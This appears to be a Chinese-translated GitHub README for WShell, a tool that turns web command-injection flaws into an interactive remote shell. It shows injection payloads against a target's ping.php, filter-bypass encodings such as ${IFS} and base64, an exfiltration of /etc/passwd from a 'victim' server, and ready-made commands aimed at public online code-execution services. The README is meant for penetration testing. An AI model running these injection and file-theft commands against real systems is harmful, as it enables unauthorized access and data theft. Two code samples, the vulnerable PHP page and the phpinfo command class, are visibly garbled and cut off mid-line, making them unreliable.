unlock-security/wshell
GitHub: unlock-security/wshell
将 Web 命令注入点转换为功能完备的交互式 shell,无需上传文件,支持目录切换、文件传输和过滤器绕过。
Stars: 10 | Forks: 0
WShell
将基于 Web 的命令注入转换为交互式 shell。
WShell 接收原始的命令注入点,并将其转换为您真正可以利用的工具:持久的历史记录、`cd` 支持、文件传输和操作系统感知行为,所有这些都不需要向目标上传任何内容。 将其指向易受攻击的 endpoint,告诉它在哪里注入,剩下的事情交给它处理。 ## 安装 建议使用 `pipx` 或 `uv` 来隔离依赖: ``` # pipx pipx install git+https://github.com/unlock-security/wshell.git # uv uv tool install git+https://github.com/unlock-security/wshell.git ``` WShell 会在启动时检查更新。传递 `--no-update` 跳过此过程,或传递 `--include-prerelease` 来跟踪预发布版本。 ## 快速开始 假设您在 `ping.php` 页面中发现了一个命令注入漏洞: ``` &1"; echo "" . shell_exec($command) . ""; ?> ``` 使用 `WSHELL` 占位符来标记命令注入的位置: ``` attacker@host:/$ wshell --log=info 'https://www.target.com/ping.php?count=3' 'host=;WSHELL #' [13:37:00] [INFO] HTTP verb not specified. Using 'POST' based on parameters. [13:37:00] [INFO] Target OS not specified, trying to automatically detect it. [13:37:00] [INFO] Target OS detected as Linux. www-data@target:/var/www/html/$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` WShell 会检测目标操作系统(Linux、Windows CMD 或 PowerShell)并相应地调整行为。 ## 功能特性 - **无需上传。** 直接通过注入点工作 — 不需要上传 Web shell 文件。 - **`cd` 和命令历史** 在多次请求之间按预期工作。 - **输入/输出脚本** 允许您在链中操作 payload 和响应 — 对于绕过过滤器或解码输出很有用(参见[脚本](#inputoutput-scripts))。 - **`download` 和 `upload` 命令** 分块处理文件传输,并抽象了操作系统的差异。 - **完整的 HTTP 控制** — 方法、headers、cookies、body 格式(form 或 JSON)、延迟、超时、重定向、自定义 User-Agent。 - **可扩展** — 无需修改核心代码即可添加您自己的脚本和命令。 ## 用法 ``` wshell [OPTIONS] URL [REQUEST_ITEMS...] ``` `REQUEST_ITEMS` 遵循 HTTPie 风格的语法:`Key: value` 用于 headers,`key=value` 用于 body 参数。`WSHELL` 占位符可以放在其中任何位置,也可以放在 URL 本身中。 ### 选项 | 类别 | 参数 | 描述 | 默认值 | | ----------- | --------------------------- | ---------------------------------------------------------------- | ----------------------------- | | **核心** | `URL` | 易受攻击的 endpoint。 | (必需) | | | `REQUEST ITEMS...` | Headers (`Key: value`) 和 body 数据 (`key=value`)。 | — | | | `--os` | 目标操作系统/Shell:`linux`、`win-cmd`、`win-psh`。 | 自动检测 | | | `--placeholder` | 注入占位符字符串。 | `WSHELL` | | | `--prompt` | 静态提示字符串,替代动态提示。 | (动态) | | **HTTP** | `-m, --method` | HTTP 方法。 | 如果有 body 参数则为 POST,否则为 GET | | | `-t, --timeout` | 连接超时时间(秒)。使用 `--no-timeout` 禁用。 | `3.0` | | | `-d, --delay` | 请求之间的延迟,以秒为单位。 | `0` | | | `--data-raw` | 原始 body 字符串(form-urlencoded 或 JSON)。 | — | | | `-j, --json` / `-f, --form` | 将 body 序列化为 JSON 或表单字段。 | `--form` | | | `--keep-alive` | 持久连接。使用 `--no-keep-alive` 禁用。 | `True` | | | `--follow` | 跟随重定向。使用 `--no-follow` 禁用。 | `True` | | | `-ua, --user-agent` | 自定义 User-Agent 字符串。 | `WShell X.Y.Z` | | | `-r, --random-agent` | 从内置列表中随机选择 User-Agent。 | `False` | | **脚本** | `--input-scripts` | 在发送前应用于命令的逗号分隔脚本链。 | — | | | `--output-scripts` | 应用于服务器响应的逗号分隔脚本链。 | — | | | `--list-scripts` | 打印所有可用的脚本。 | — | | **应用** | `--log` | 日志级别:`critical`、`error`、`warning`、`info`、`debug`。 | `warning` | | | `--update` / `--no-update` | 切换启动时是否自动更新。 | `True` | | | `--include-prerelease` | 在更新检查中包含预发布版本。 | `False` | | | `-v, --version` | 打印版本并退出。 | — | | | `-h, --help` | 打印帮助信息并退出。 | — | ## 输入/输出脚本 脚本在发送前转换命令 payload(输入脚本),或在收到服务器响应后对其进行处理(输出脚本)。当目标需要编码输入或返回编码/转义的输出时,它们最为有用。 使用逗号分隔的链与 `--input-scripts` 或 `--output-scripts` 一起运行: ``` # 将空格替换为 ${IFS},然后进行 base64 编码 — 适用于拦截空格的过滤器 wshell --input-scripts=space2ifs,base64encode 'http://example.com/vuln?cmd=WSHELL' ``` 列出所有可用的脚本: ``` wshell --list-scripts ``` ## 内置命令 在 WShell 提示符下输入 `help -v` 查看所有自定义命令。开箱即用中最有用的一个是 `download`: ``` victim@vulnerable-server:/var/www/html/$ download -r /etc/passwd -l passwd.txt [INFO] Downloading 2337 bytes as 3 chunks (1024 bytes each) Downloading chunk 3/3 [INFO] File '/etc/passwd' downloaded to 'passwd.txt' ``` 无论您在 Linux 还是 Windows 上,它都会自动处理分块和编码。 ## 扩展 WShell ### 添加脚本 在 `wshell/scripts/input/` 或 `wshell/scripts/output/` 中创建一个 Python 文件。文件名即成为脚本的名称。定义一个带有 docstring 的 `run(data: str) -> str` 函数。 ``` # wshell/scripts/input/reverse.py def run(command: str) -> str: """Reverses the command string.""" return command[::-1] ``` 现在 `--input-scripts=reverse` 就可以工作了。 ### 添加自定义命令 在 `wshell/commands/` 的子目录中创建一个 Python 文件。目录名用于设置在 `help` 中显示的分类。您的类应继承自 `wshell.commands.WShellCommandSet` 并遵循 [cmd2 模块化命令](https://cmd2.readthedocs.io/en/stable/features/modular_commands/) 模式。 使用 `self._cmd.injector` 在目标上运行命令,并使用 `self._dispatch()` 处理特定于操作系统的逻辑。 ``` # wshell/commands/php/phpinfo.py import argparse from cmd2 import with_argparser from wshell.commands import WShellCommandSet class PHPInfoCommandSet(WShellCommandSet): _argparser = argparse.ArgumentParser(description="Create a phpinfo() file.") _argparser.add_argument("-f", "--filename", default="info.php", help="Name of the file.") @with_argparser(_argparser) def do_phpinfo(self, args) -> None: """Creates a file that runs phpinfo() in the current directory.""" file_content = " {filename}") def _win_psh_write_file(self, filename, content): self._cmd.injector.execute(f"Set-Content -Path '{filename}' -Value '{content}'") def _win_cmd_write_file(self, filename, content): self._cmd.injector.execute(f"echo {content} > {filename}") ``` ## 一些用于测试的真实目标 这些是公开的、故意设置漏洞的平台,您可以使用它们来尝试 WShell,而无需进行任何设置: ``` # cmdchallenge.com — 在线 shell 挑战平台 wshell --input-scripts=base64encode --output-scripts=unescape --delay=1.5 \ 'https://cmdchallenge.com/c/r' 'cmd=WSHELL' 'slug=create_file' # learnshell.org — 代码执行沙箱 wshell --output-scripts=unescape --json \ 'https://www.learnshell.org/' 'code=WSHELL' 'language=bash' # onecompiler.com — 在线编译器 API wshell --json --output-scripts=unescape \ 'https://onecompiler.com/api/code/exec' \ 'properties[language]=bash' \ 'properties[files][][content]=WSHELL' ``` ## 本地开发 ``` git clone https://github.com/unlock-security/wshell cd wshell/ python3 -m venv .venv source .venv/bin/activate pip install -e . ``` ## 贡献 在发布新内容之前,请查看现有的 [Issues](https://github.com/unlock-security/wshell/issues) 和 [Pull Requests](https://github.com/unlock-security/wshell/pulls)。[贡献指南](https://github.com/unlock-security/wshell/blob/main/CONTRIBUTING.md) 中有更多详细信息。 ## 许可证 GPL-3.0。参见 [LICENSE](https://github.com/unlock-security/wshell/blob/main/LICENSE)。
Made with 💙 by Unlock Security
标签:CISA项目, Maven, Python, Webshell, Web安全, WShell, 交互式Shell, 反弹Shell, 命令注入, 数据展示, 文件传输, 无后门, 模板注入, 注入攻击, 漏洞验证, 红队, 网络安全, 蓝队分析, 隐私保护